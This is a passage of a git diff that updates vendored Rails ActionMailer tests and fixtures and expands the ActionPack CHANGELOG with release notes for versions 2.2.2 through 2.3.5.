+++ b/vendor/rails/actionmailer/test/abstract_unit.rb
@@ -1,3 +1,4 @@
+require 'rubygems'
 require 'test/unit'
 
 $:.unshift "#{File.dirname(__FILE__)}/../lib"
@@ -9,8 +10,15 @@ require 'action_mailer/test_case'
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Bogus template processors
+ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
+ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
+
 $:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers"
-ActionMailer::Base.template_root = "#{File.dirname(__FILE__)}/fixtures"
+
+ActionView::Base.cache_template_loading = true
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+ActionMailer::Base.template_root = FIXTURE_LOAD_PATH
 
 class MockSMTP
   def self.deliveries
@@ -37,7 +45,6 @@ class Net::SMTP
 end
 
 def uses_gem(gem_name, test_name, version = '> 0')
-  require 'rubygems'
   gem gem_name.to_s, version
   require gem_name.to_s
   yield
@@ -45,13 +52,6 @@ rescue LoadError
   $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
 end
 
-# Wrap tests that use Mocha and skip if unavailable.
-unless defined? uses_mocha
-  def uses_mocha(test_name, &block)
-    uses_gem('mocha', test_name, '>= 0.5.5', &block)
-  end
-end
-
 def set_delivery_method(delivery_method)
   @old_delivery_method = ActionMailer::Base.delivery_method
   ActionMailer::Base.delivery_method = delivery_method
diff --git a/vendor/rails/actionmailer/test/asset_host_test.rb b/vendor/rails/actionmailer/test/asset_host_test.rb
new file mode 100644
index 00000000..1c92dd26
--- /dev/null
+++ b/vendor/rails/actionmailer/test/asset_host_test.rb
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+
+class AssetHostMailer < ActionMailer::Base
+  def email_with_asset(recipient)
+    recipients recipient
+    subject    "testing email containing asset path while asset_host is set"
+    from       "tester@example.com"
+  end
+end
+
+class AssetHostTest < Test::Unit::TestCase
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test@localhost'
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_asset_host_as_string
+    ActionController::Base.asset_host = "http://www.example.com"
+    mail = AssetHostMailer.deliver_email_with_asset(@recipient)
+    assert_equal "<img alt=\"Somelogo\" src=\"http://www.example.com/images/somelogo.png\" />", mail.body.strip
+  end
+
+  def test_asset_host_as_one_arguement_proc
+    ActionController::Base.asset_host = Proc.new { |source|
+      if source.starts_with?('/images')
+        "http://images.example.com"
+      else
+        "http://assets.example.com"
+      end
+    }
+    mail = AssetHostMailer.deliver_email_with_asset(@recipient)
+    assert_equal "<img alt=\"Somelogo\" src=\"http://images.example.com/images/somelogo.png\" />", mail.body.strip
+  end
+
+  def test_asset_host_as_two_arguement_proc
+    ActionController::Base.asset_host = Proc.new {|source,request|
+      if request && request.ssl?
+        "https://www.example.com"
+      else
+        "http://www.example.com"
+      end
+    }
+    mail = nil
+    assert_nothing_raised { mail = AssetHostMailer.deliver_email_with_asset(@recipient) }
+    assert_equal "<img alt=\"Somelogo\" src=\"http://www.example.com/images/somelogo.png\" />", mail.body.strip
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb b/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
new file mode 100644
index 00000000..b3f0438d
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
@@ -0,0 +1 @@
+<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb
new file mode 100644
index 00000000..6d73f199
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb
@@ -0,0 +1 @@
+text/html multipart
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb
new file mode 100644
index 00000000..f4b91e40
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb
@@ -0,0 +1 @@
+text/plain multipart
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb b/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb
index d66927aa..f6a6a49c 100644
--- a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb
+++ b/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb
@@ -1,5 +1,5 @@
 module ExampleHelper
   def example_format(text)
-    "<em><strong><small>#{text}</small></strong></em>"
+    "<em><strong><small>#{h(text)}</small></strong></em>".html_safe!
   end
 end
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
new file mode 100644
index 00000000..111576b6
--- /dev/null
+++ b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
@@ -0,0 +1 @@
+text/plain layout - <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/mail_layout_test.rb b/vendor/rails/actionmailer/test/mail_layout_test.rb
index ffba9a16..50901f52 100644
--- a/vendor/rails/actionmailer/test/mail_layout_test.rb
+++ b/vendor/rails/actionmailer/test/mail_layout_test.rb
@@ -20,6 +20,14 @@ class AutoLayoutMailer < ActionMailer::Base
     from       "tester@example.com"
     body       render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" })
   end
+
+  def multipart(recipient, type = nil)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester@example.com"
+
+    content_type(type) if type
+  end
 end
 
 class ExplicitLayoutMailer < ActionMailer::Base
@@ -56,6 +64,43 @@ class LayoutMailerTest < Test::Unit::TestCase
     assert_equal "Hello from layout Inside", mail.body.strip
   end
 
+  def test_should_pickup_multipart_layout
+    mail = AutoLayoutMailer.create_multipart(@recipient)
+    assert_equal "multipart/alternative", mail.content_type
+    assert_equal 2, mail.parts.size
+
+    assert_equal 'text/plain', mail.parts.first.content_type
+    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
+
+    assert_equal 'text/html', mail.parts.last.content_type
+    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
+  end
+
+  def test_should_pickup_multipartmixed_layout
+    mail = AutoLayoutMailer.create_multipart(@recipient, "multipart/mixed")
+    assert_equal "multipart/mixed", mail.content_type
+    assert_equal 2, mail.parts.size
+
+    assert_equal 'text/plain', mail.parts.first.content_type
+    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
+
+    assert_equal 'text/html', mail.parts.last.content_type
+    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
+  end
+
+  def test_should_fix_multipart_layout
+    mail = AutoLayoutMailer.create_multipart(@recipient, "text/plain")
+    assert_equal "multipart/alternative", mail.content_type
+    assert_equal 2, mail.parts.size
+
+    assert_equal 'text/plain', mail.parts.first.content_type
+    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
+
+    assert_equal 'text/html', mail.parts.last.content_type
+    assert_equal "Hello from layout text/html multipart", mail.parts.last.body
+  end
+
+
   def test_should_pickup_layout_given_to_render
     mail = AutoLayoutMailer.create_spam(@recipient)
     assert_equal "Spammer layout Hello, Earth", mail.body.strip
diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb
index b88beb33..db6d3df6 100644
--- a/vendor/rails/actionmailer/test/mail_service_test.rb
+++ b/vendor/rails/actionmailer/test/mail_service_test.rb
@@ -18,7 +18,6 @@ class TestMailer < ActionMailer::Base
     @recipients   = recipient
     @subject      = "[Signed up] Welcome #{recipient}"
     @from         = "system@loudthinking.com"
-    @sent_on      = Time.local(2004, 12, 12)
     @body["recipient"] = recipient
   end
 
@@ -289,8 +288,6 @@ class TestMailer < ActionMailer::Base
   end
 end
 
-uses_mocha 'ActionMailerTest' do
-
 class ActionMailerTest < Test::Unit::TestCase
   include ActionMailer::Quoting
 
@@ -332,6 +329,7 @@ class ActionMailerTest < Test::Unit::TestCase
     assert_equal "multipart/mixed", created.content_type
     assert_equal "multipart/alternative", created.parts.first.content_type
     assert_equal "bar", created.parts.first.header['foo'].to_s
+    assert_nil created.parts.first.charset
     assert_equal "text/plain", created.parts.first.parts.first.content_type
     assert_equal "text/html", created.parts.first.parts[1].content_type
     assert_equal "application/octet-stream", created.parts[1].content_type
@@ -357,12 +355,14 @@ class ActionMailerTest < Test::Unit::TestCase
   end
 
   def test_signed_up
+    Time.stubs(:now => Time.now)
+
     expected = new_mail
     expected.to      = @recipient
     expected.subject = "[Signed up] Welcome #{@recipient}"
     expected.body    = "Hello there, \n\nMr. #{@recipient}"
     expected.from    = "system@loudthinking.com"
-    expected.date    = Time.local(2004, 12, 12)
+    expected.date    = Time.now
 
     created = nil
     assert_nothing_raised { created = TestMailer.create_signed_up(@recipient) }
@@ -389,6 +389,8 @@ class ActionMailerTest < Test::Unit::TestCase
   end
 
   def test_custom_templating_extension
+    assert ActionView::Template.template_handler_extensions.include?("haml"), "haml extension was not registered"
+
     # N.b., custom_templating_extension.text.plain.haml is expected to be in fixtures/test_mailer directory
     expected = new_mail
     expected.to      = @recipient
@@ -568,7 +570,9 @@ class ActionMailerTest < Test::Unit::TestCase
     mail = TestMailer.create_signed_up(@recipient)
     logger = mock()
     logger.expects(:info).with("Sent mail to #{@recipient}")
-    logger.expects(:debug).with("\n#{mail.encoded}")
+    logger.expects(:debug).with() do |logged_text|
+      logged_text =~ /\[Signed up\] Welcome/
+    end
     TestMailer.logger = logger
     TestMailer.deliver_signed_up(@recipient)
   end
@@ -799,6 +803,8 @@ EOF
   end
 
   def test_implicitly_multipart_messages
+    assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered"
+
     mail = TestMailer.create_implicitly_multipart_example(@recipient)
     assert_equal 3, mail.parts.length
     assert_equal "1.0", mail.mime_version
@@ -812,6 +818,8 @@ EOF
   end
 
   def test_implicitly_multipart_messages_with_custom_order
+    assert ActionView::Template.template_handler_extensions.include?("bak"), "bak extension was not registered"
+
     mail = TestMailer.create_implicitly_multipart_example(@recipient, nil, ["text/yaml", "text/plain"])
     assert_equal 3, mail.parts.length
     assert_equal "text/html", mail.parts[0].content_type
@@ -915,6 +923,8 @@ EOF
   def test_multipart_with_template_path_with_dots
     mail = FunkyPathMailer.create_multipart_with_template_path_with_dots(@recipient)
     assert_equal 2, mail.parts.length
+    assert_equal 'text/plain', mail.parts[0].content_type
+    assert_equal 'utf-8', mail.parts[0].charset
   end
 
   def test_custom_content_type_attributes
@@ -932,6 +942,7 @@ EOF
     ActionMailer::Base.delivery_method = :smtp
     TestMailer.deliver_return_path
     assert_match %r{^Return-Path: <another@somewhere.test>}, MockSMTP.deliveries[0][0]
+    assert_equal "another@somewhere.test", MockSMTP.deliveries[0][1].to_s
   end
 
   def test_body_is_stored_as_an_ivar
@@ -940,6 +951,7 @@ EOF
   end
 
   def test_starttls_is_enabled_if_supported
+    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
     MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true)
     MockSMTP.any_instance.expects(:enable_starttls_auto)
     ActionMailer::Base.delivery_method = :smtp
@@ -947,25 +959,34 @@ EOF
   end
 
   def test_starttls_is_disabled_if_not_supported
+    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
     MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false)
     MockSMTP.any_instance.expects(:enable_starttls_auto).never
     ActionMailer::Base.delivery_method = :smtp
     TestMailer.deliver_signed_up(@recipient)
   end
-end
 
-end # uses_mocha
+  def test_starttls_is_not_enabled
+    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = false
+    MockSMTP.any_instance.expects(:respond_to?).never
+    MockSMTP.any_instance.expects(:enable_starttls_auto).never
+    ActionMailer::Base.delivery_method = :smtp
+    TestMailer.deliver_signed_up(@recipient)
+  ensure
+    ActionMailer::Base.smtp_settings[:enable_starttls_auto] = true
+  end
+end
 
 class InheritableTemplateRootTest < Test::Unit::TestCase
   def test_attr
     expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
-    assert_equal expected, FunkyPathMailer.template_root
+    assert_equal expected, FunkyPathMailer.template_root.to_s
 
     sub = Class.new(FunkyPathMailer)
     sub.template_root = 'test/path'
 
-    assert_equal 'test/path', sub.template_root
-    assert_equal expected, FunkyPathMailer.template_root
+    assert_equal 'test/path', sub.template_root.to_s
+    assert_equal expected, FunkyPathMailer.template_root.to_s
   end
 end
 
@@ -1051,7 +1072,7 @@ class RespondToTest < Test::Unit::TestCase
   end
 
   def test_should_still_raise_exception_with_expected_message_when_calling_an_undefined_method
-    error = assert_raises NoMethodError do
+    error = assert_raise NoMethodError do
       RespondToMailer.not_a_method
     end
 
diff --git a/vendor/rails/actionmailer/test/quoting_test.rb b/vendor/rails/actionmailer/test/quoting_test.rb
index 13a859a5..2fee1379 100644
--- a/vendor/rails/actionmailer/test/quoting_test.rb
+++ b/vendor/rails/actionmailer/test/quoting_test.rb
@@ -1,6 +1,5 @@
 # encoding: utf-8
 require 'abstract_unit'
-require 'tmail'
 require 'tempfile'
 
 class QuotingTest < Test::Unit::TestCase
@@ -49,8 +48,10 @@ class QuotingTest < Test::Unit::TestCase
 
     result = execute_in_sandbox(<<-CODE)
       $:.unshift(File.dirname(__FILE__) + "/../lib/")
-      $KCODE = 'u'
-      require 'jcode'
+      if RUBY_VERSION < '1.9'
+        $KCODE = 'u'
+        require 'jcode'
+      end
       require 'action_mailer/quoting'
       include ActionMailer::Quoting
       quoted_printable(#{original.inspect}, "UTF-8")
diff --git a/vendor/rails/actionmailer/test/test_helper_test.rb b/vendor/rails/actionmailer/test/test_helper_test.rb
index f8913e54..65b07a71 100644
--- a/vendor/rails/actionmailer/test/test_helper_test.rb
+++ b/vendor/rails/actionmailer/test/test_helper_test.rb
@@ -26,7 +26,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   end
 
   def test_determine_default_mailer_raises_correct_error
-    assert_raises(ActionMailer::NonInferrableMailerError) do
+    assert_raise(ActionMailer::NonInferrableMailerError) do
       self.class.determine_default_mailer("NotAMailerTest")
     end
   end
@@ -36,7 +36,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   end
 
   def test_encode
-    assert_equal "=?utf-8?Q?=0aasdf=0a?=", encode("\nasdf\n")
+    assert_equal "=?utf-8?Q?=0Aasdf=0A?=", encode("\nasdf\n")
   end
 
   def test_assert_emails
@@ -84,7 +84,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   end
   
   def test_assert_emails_too_few_sent
-    error = assert_raises Test::Unit::AssertionFailedError do
+    error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_emails 2 do
         TestHelperMailer.deliver_test
       end
@@ -94,7 +94,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   end
   
   def test_assert_emails_too_many_sent
-    error = assert_raises Test::Unit::AssertionFailedError do
+    error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_emails 1 do
         TestHelperMailer.deliver_test
         TestHelperMailer.deliver_test
@@ -105,7 +105,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   end
   
   def test_assert_no_emails_failure
-    error = assert_raises Test::Unit::AssertionFailedError do
+    error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_no_emails do
         TestHelperMailer.deliver_test
       end
diff --git a/vendor/rails/actionpack/CHANGELOG b/vendor/rails/actionpack/CHANGELOG
index 0e56977e..3875bbe6 100644
--- a/vendor/rails/actionpack/CHANGELOG
+++ b/vendor/rails/actionpack/CHANGELOG
@@ -1,9 +1,155 @@
-*2.2.2 [2.2 Final]*
+*2.3.5 (November 25, 2009)*
 
-* Deprecated the :file default for ActionView#render to prepare for 2.3's new :partial default [DHH]
+* Minor Bug Fixes and deprecation warnings
+
+* Ruby 1.9 Support
+
+* Fix filtering parameters when there are Fixnum or other un-dupable values.
+
+* Improvements to ActionView::TestCase
+
+* Compatiblity with the rails_xss plugin 
+
+*2.3.4 (September 4, 2009)*
+
+* Sanitize multibyte strings before escaping them with escape_once. CVE-2009-3009
+
+* Introduce grouped_collection_select helper.  #1249 [Dan Codeape, Erik Ostrom]
+
+* Ruby 1.9: fix Content-Length for multibyte send_data streaming.  #2661 [Sava Chankov]
 
 
-*2.2.1 [RC2] (November 14th, 2008)*
+*2.3.3 (July 12, 2009)*
+
+* Fixed that TestResponse.cookies was returning cookies unescaped #1867 [Doug McInnes]
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") [DHH]
+
+* Don't check authenticity tokens for any AJAX requests [Ross Kaffenberger/Bryan Helmkamp]
+
+* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
+
+* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]
+
+* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 [Tekin]
+
+* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") [DHH]
+
+* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 [chris finne/Andrew White]
+
+* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim]
+
+* Make the form_for and fields_for helpers support the new Active Record nested update options.  #1202 [Eloy Duran]
+
+		<% form_for @person do |person_form| %>
+		  ...
+		  <% person_form.fields_for :projects do |project_fields| %>
+		    <% if project_fields.object.active? %>
+		      Name: <%= project_fields.text_field :name %>
+		    <% end %>
+		  <% end %>
+		<% end %>
+
+
+* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 [Jon Crawford]
+
+* Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example :
+
+  class DummyDigestController < ActionController::Base
+    USERS = { "lifo" => 'world' }
+
+    before_filter :authenticate
+
+    def index
+      render :text => "Hello Secret"
+    end
+
+    private
+
+    def authenticate
+      authenticate_or_request_with_http_digest("Super Secret") do |username|
+        # Return the user's password
+        USERS[username]
+      end
+    end
+  end
+
+* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly.  #1634 [Yaroslav Markin]
+    storage_units:
+      # %u is the storage unit, %n is the number (default: 2 MB)
+      format: "%n %u"
+      units:
+        byte:
+          one: "Byte"
+          other: "Bytes"
+        kb: "KB"
+        mb: "MB"
+        gb: "GB"
+        tb: "TB"
+
+* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use [DHH]
+
+* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 [DHH]
+
+* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
+
+  # Instead of render(:action => 'other_action')
+  render('other_action') # argument has no '/'
+  render(:other_action)
+
+  # Instead of render(:template => 'controller/action')
+  render('controller/action') # argument must not begin with a '/', but contain a '/'
+
+  # Instead of render(:file => '/Users/lifo/home.html.erb')
+  render('/Users/lifo/home.html.erb') # argument must begin with a '/'
+
+* Add :prompt option to date/time select helpers. #561 [Sam Oliver]
+
+* Fixed that send_file shouldn't set an etag #1578 [Hongli Lai]
+
+* Allow users to opt out of the spoofing checks in Request#remote_ip.  Useful for sites whose traffic regularly triggers false positives. [Darren Boyd]
+
+* Deprecated formatted_polymorphic_url.  [Jeremy Kemper]
+
+* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) [David Heinemeier Hansson]
+
+* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) [David Heinemeier Hansson]
+
+* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 [aaronbatalion]
+
+* Remove support for old double-encoded cookies from the cookie store.  These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. [Michael Koziarski]
+
+* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 [Sam Pohlenz]
+
+* Remove deprecated ActionController::Base#assign_default_content_type_and_charset
+
+* Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples:
+
+    # Instead of <%= render :partial => "account" %>
+    <%= render "account" %>
+    
+    # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
+    <%= render "account", :account => @buyer %>
+    
+    # @account is an Account instance, so it uses the RecordIdentifier to replace
+    # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
+    <%= render(@account) %>
+    
+    # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+    # <%= render :partial => "posts/post", :collection => @posts %>
+    <%= render(@posts) %>
+
+* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
+
+* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them [David Heinemeier Hansson]
+
+
+*2.2.2 (November 21st, 2008)*
+
+* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations.  #1448 [Yaroslav Markin]
 
 * Restore backwards compatible functionality for setting relative_url_root.  Include deprecation
 
@@ -15,7 +161,7 @@
      product.resources :images, :except => :destroy
    end
 
-* Added render :js for people who want to render inline JavaScript replies without using RJS [DHH]
+* Added render :js for people who want to render inline JavaScript replies without using RJS [David Heinemeier Hansson]
 
 * Fixed that polymorphic_url should compact given array #1317 [hiroshi]
 
@@ -25,9 +171,9 @@
 
 * Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 [Bernardo Padua/Tor Erik]
 
-* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [DHH]
+* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [David Heinemeier Hansson]
 
-* Remove the logging of the Session ID when the session store is CookieStore [DHH]
+* Remove the logging of the Session ID when the session store is CookieStore [David Heinemeier Hansson]
 
 * Fixed regex in redirect_to to fully support URI schemes #1247 [Seth Fitzsimmons]
 
@@ -38,7 +184,7 @@
 
 * Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections [packagethief]
 
-* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [DHH]. Example:
+* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example:
 
     class ArticlesController < ApplicationController
       def show_with_respond_to_block
@@ -88,13 +234,13 @@
 
 * Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 [Jose Fernandez]
 
-* Stopped logging template compiles as it only clogs up the log [DHH]
+* Stopped logging template compiles as it only clogs up the log [David Heinemeier Hansson]
 
-* Changed the X-Runtime header to report in milliseconds [DHH]
+* Changed the X-Runtime header to report in milliseconds [David Heinemeier Hansson]
 
-* Changed BenchmarkHelper#benchmark to report in milliseconds [DHH]
+* Changed BenchmarkHelper#benchmark to report in milliseconds [David Heinemeier Hansson]
 
-* Changed logging format to be millisecond based and skip misleading stats [DHH]. Went from:
+* Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from:
 
     Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
 
@@ -118,7 +264,7 @@
 
 * Added button_to_remote helper.  #3641 [Donald Piret, Tarmo Tänav]
 
-* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik]
+* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
 
 * Routes may be restricted to lists of HTTP methods instead of a single method or :any.  #407 [Brennan Dunn, Gaius Centus Novus]
     map.resource :posts, :collection => { :search => [:get, :post] }
@@ -152,7 +298,7 @@
 
 * All 2xx requests are considered successful [Josh Peek]
 
-* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [DHH]
+* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [David Heinemeier Hansson]
 
 * Removed config.action_view.cache_template_loading, use config.cache_classes instead [Josh Peek]
 
@@ -215,7 +361,7 @@
 
 * Replaced TemplateFinder abstraction with ViewLoadPaths [Josh Peek]
 
-* Added block-call style to link_to [Sam Stephenson/DHH]. Example:
+* Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example:
 
     <% link_to(@profile) do %>
       <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
@@ -246,30 +392,30 @@
 
 * Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) [#136]
 
-* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [rick]
+* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [Rick Olson]
 * InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap [Geoff Buesing]
 
 * select_date defaults to Time.zone.today when config.time_zone is set [Geoff Buesing]
 
 * Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) [#80]
 
-* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [DHH]
+* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [David Heinemeier Hansson]
 
-* Reduce number of instance variables being copied from controller to view. [Pratik]
+* Reduce number of instance variables being copied from controller to view. [Pratik Naik]
 
 * select_datetime and select_time default to Time.zone.now when config.time_zone is set [Geoff Buesing]
 
 * datetime_select defaults to Time.zone.now when config.time_zone is set [Geoff Buesing]
 
-* Remove ActionController::Base#view_controller_internals flag. [Pratik]
+* Remove ActionController::Base#view_controller_internals flag. [Pratik Naik]
 
 * Add conditional options to caches_page method. [Paul Horsfall]
 
-* Move missing template logic to ActionView. [Pratik]
+* Move missing template logic to ActionView. [Pratik Naik]
 
-* Introduce ActionView::InlineTemplate class. [Pratik]
+* Introduce ActionView::InlineTemplate class. [Pratik Naik]
 
-* Automatically parse posted JSON content for Mime::JSON requests.  [rick]
+* Automatically parse posted JSON content for Mime::JSON requests.  [Rick Olson]
 
   POST /posts
   {"post": {"title": "Breaking News"}}
@@ -279,14 +425,14 @@
     # ...
   end
 
-* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [rick]
+* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [Rick Olson]
 
 * Provide a helper proxy to access helper methods from outside views. Closes #10839 [Josh Peek]
   e.g. ApplicationController.helpers.simple_format(text)
 
 * Improve documentation. [Xavier Noria, leethal, jerome]
 
-* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [josh, eventualbuddha, Pratik]
+* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [Josh Peek, eventualbuddha, Pratik Naik]
 
 * Support render :partial => collection of heterogeneous elements.  #11491 [Zach Dennis]
 
@@ -298,17 +444,17 @@
 
 * Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 [esad, packagethief]
 
-* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
 
 * Fixed that FormHelper#radio_button would produce invalid ids #11298 [harlancrystal]
 
-* Added :confirm option to submit_tag #11415 [miloops]
+* Added :confirm option to submit_tag #11415 [Emilio Tagua]
 
 * Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) [zhangyuanyi]
 
-* Allow the #simple_format text_helper to take an html_options hash for each paragraph.  #2448 [Francois Beausoleil, thechrisoshow]
+* Allow the #simple_format text_helper to take an html_options hash for each paragraph.  #2448 [François Beausoleil, Chris O'Sullivan]
 
-* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice.  [rick]
+* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice.  [Rick Olson]
 
 * Refactor filters to use Active Support callbacks.  #11235 [Josh Peek]
 
@@ -324,43 +470,43 @@
 
 * Fix nested parameter hash parsing bug.  #10797 [thomas.lee]
 
-* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [alloy]
+* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [Eloy Duran]
 
-* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [DHH]
+* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [David Heinemeier Hansson]
 
 * Make MimeResponds::Responder#any work without explicit types. Closes #11140 [jaw6]
 
 * Better error message for type conflicts when parsing params.  Closes #7962 [spicycode, matt]
 
